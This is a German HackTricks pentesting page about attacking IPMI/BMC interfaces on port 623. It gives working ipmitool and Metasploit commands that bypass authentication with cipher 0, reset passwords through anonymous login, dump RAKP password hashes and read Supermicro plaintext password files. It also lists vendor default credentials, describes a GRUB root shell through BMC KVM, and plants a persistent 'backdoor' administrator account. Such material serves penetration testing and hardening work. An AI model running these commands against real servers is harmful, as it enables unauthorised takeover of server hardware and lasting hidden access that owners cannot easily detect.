623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

Lernen Sie das Hacken von AWS von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Überblick über IPMI

Intelligent Platform Management Interface (IPMI) bietet einen standardisierten Ansatz für die Fernverwaltung und Überwachung von Computersystemen, unabhängig vom Betriebssystem oder Stromzustand. Diese Technologie ermöglicht es Systemadministratoren, Systeme auch dann remote zu verwalten, wenn sie ausgeschaltet oder nicht reagierend sind, und ist besonders nützlich für:

  • Konfigurationen vor dem Betriebssystemstart

  • Verwaltung bei ausgeschaltetem Zustand

  • Wiederherstellung nach Systemausfällen

IPMI ist in der Lage, Temperaturen, Spannungen, Lüftergeschwindigkeiten und Stromversorgungen zu überwachen und gleichzeitig Inventarinformationen bereitzustellen, Hardwareprotokolle zu überprüfen und Warnungen über SNMP zu senden. Für den Betrieb sind eine Stromquelle und eine LAN-Verbindung erforderlich.

Seit seiner Einführung durch Intel im Jahr 1998 wird IPMI von zahlreichen Anbietern unterstützt, die die Fernverwaltungsfähigkeiten verbessern, insbesondere durch die Unterstützung von Version 2.0 für Serial over LAN. Zu den wichtigsten Komponenten gehören:

  • Baseboard Management Controller (BMC): Der Haupt-Mikrocontroller für IPMI-Operationen.

  • Kommunikationsbusse und Schnittstellen: Für interne und externe Kommunikation, einschließlich ICMB, IPMB und verschiedenen Schnittstellen für lokale und Netzwerkverbindungen.

  • IPMI-Speicher: Zum Speichern von Protokollen und Daten.

Standardport: 623/UDP/TCP (Normalerweise läuft es auf UDP, kann aber auch auf TCP laufen)

Enumeration

Entdeckung

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Sie können die Version mit folgendem Befehl identifizieren:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

IPMI-Schwachstellen

Im Bereich von IPMI 2.0 wurde eine erhebliche Sicherheitslücke durch Dan Farmer entdeckt, die durch den Chiffrentyp 0 offenbart wurde. Diese Schwachstelle, die detailliert in Dan Farmers Forschung dokumentiert ist, ermöglicht unbefugten Zugriff, wenn ein gültiger Benutzer angegriffen wird, unabhängig vom eingegebenen Passwort. Diese Schwachstelle wurde bei verschiedenen BMCs von Herstellern wie HP, Dell und Supermicro gefunden, was auf ein weit verbreitetes Problem bei allen IPMI 2.0-Implementierungen hinweist.

IPMI-Authentifizierungsumgehung über Chiffre 0

Um diese Schwachstelle zu erkennen, kann der folgende Metasploit-Hilfsscanner verwendet werden:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

Die Ausnutzung dieser Schwachstelle ist mit ipmitool möglich, wie unten gezeigt, was das Auflisten und Ändern von Benutzerpasswörtern ermöglicht:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP-Authentifizierung: Remote-Passwort-Hash-Abruf

Diese Schwachstelle ermöglicht den Abruf von gesalzenen gehashten Passwörtern (MD5 und SHA1) für jeden vorhandenen Benutzernamen. Um diese Schwachstelle zu testen, bietet Metasploit ein Modul an:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI Anonyme Authentifizierung

Eine Standardkonfiguration in vielen BMCs ermöglicht den "anonymen" Zugriff, der durch leere Benutzernamen- und Passwortzeichenketten gekennzeichnet ist. Diese Konfiguration kann ausgenutzt werden, um Passwörter von benannten Benutzerkonten mithilfe von ipmitool zurückzusetzen:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Klartext-Passwörter

Eine kritische Designentscheidung in IPMI 2.0 erfordert die Speicherung von Klartext-Passwörtern innerhalb von BMCs zu Authentifizierungszwecken. Die Speicherung dieser Passwörter von Supermicro an Orten wie /nv/PSBlock oder /nv/PSStore wirft erhebliche Sicherheitsbedenken auf:

cat /nv/PSBlock

Supermicro IPMI UPnP-Schwachstelle

Die Einbindung eines UPnP SSDP-Listeners in der IPMI-Firmware von Supermicro, insbesondere auf dem UDP-Port 1900, birgt ein erhebliches Sicherheitsrisiko. Schwachstellen in der Intel SDK für UPnP-Geräte Version 1.3.1, wie von Rapid7's Offenlegung detailliert beschrieben, ermöglichen den Root-Zugriff auf das BMC:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

HP randomisiert das Standardpasswort für sein Produkt Integrated Lights Out (iLO) während der Herstellung. Diese Praxis unterscheidet sich von anderen Herstellern, die tendenziell statische Standardanmeldeinformationen verwenden. Eine Zusammenfassung der Standardbenutzernamen und -passwörter für verschiedene Produkte wird wie folgt bereitgestellt:

  • HP Integrated Lights Out (iLO) verwendet ein werkseitig zufällig generiertes 8-Zeichen-Passwort als Standardpasswort und bietet somit ein höheres Sicherheitsniveau.

  • Produkte wie Dell's iDRAC, IBM's IMM und Fujitsu's Integrated Remote Management Controller verwenden leicht erratbare Passwörter wie "calvin", "PASSW0RD" (mit einer Null) bzw. "admin".

  • Ebenso verwenden Supermicro IPMI (2.0), Oracle/Sun ILOM und ASUS iKVM BMC einfache Standardanmeldeinformationen, wobei "ADMIN", "changeme" bzw. "admin" als Passwörter dienen.

Zugriff auf den Host über BMC

Administrativer Zugriff auf den Baseboard Management Controller (BMC) eröffnet verschiedene Möglichkeiten, auf das Betriebssystem des Hosts zuzugreifen. Ein einfacher Ansatz besteht darin, die Tastatur-, Video- und Mausfunktionalität (KVM) des BMC auszunutzen. Dies kann entweder durch einen Neustart des Hosts zu einer Root-Shell über GRUB (mit init=/bin/sh) oder durch das Booten von einer virtuellen CD-ROM als Rettungsdatenträger erfolgen. Solche Methoden ermöglichen eine direkte Manipulation der Festplatte des Hosts, einschließlich dem Einfügen von Hintertüren, der Extraktion von Daten oder anderen erforderlichen Maßnahmen für eine Sicherheitsbewertung. Dies erfordert jedoch einen Neustart des Hosts, was ein erheblicher Nachteil ist. Ohne Neustart ist der Zugriff auf den laufenden Host komplexer und variiert je nach Konfiguration des Hosts. Wenn die physische oder serielle Konsole des Hosts angemeldet bleibt, kann sie leicht über die KVM- oder Serial-over-LAN (sol)-Funktionalitäten des BMCs über ipmitool übernommen werden. Die Erforschung der Ausnutzung gemeinsam genutzter Hardwareressourcen wie des I2C-Busses und des Super I/O-Chips ist ein Bereich, der weitere Untersuchungen erfordert.

Einbringen von Hintertüren in den BMC vom Host aus

Nachdem ein Host mit einem BMC kompromittiert wurde, kann die lokale BMC-Schnittstelle genutzt werden, um einen Hintertür-Benutzeraccount einzufügen, der eine dauerhafte Präsenz auf dem Server schafft. Dieser Angriff erfordert das Vorhandensein von ipmitool auf dem kompromittierten Host und die Aktivierung der BMC-Treiberunterstützung. Die folgenden Befehle veranschaulichen, wie ein neuer Benutzeraccount über die lokale Schnittstelle des Hosts in den BMC injiziert werden kann, wodurch die Authentifizierung umgangen wird. Diese Technik ist auf eine Vielzahl von Betriebssystemen anwendbar, einschließlich Linux, Windows, BSD und sogar DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

Referenzen

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated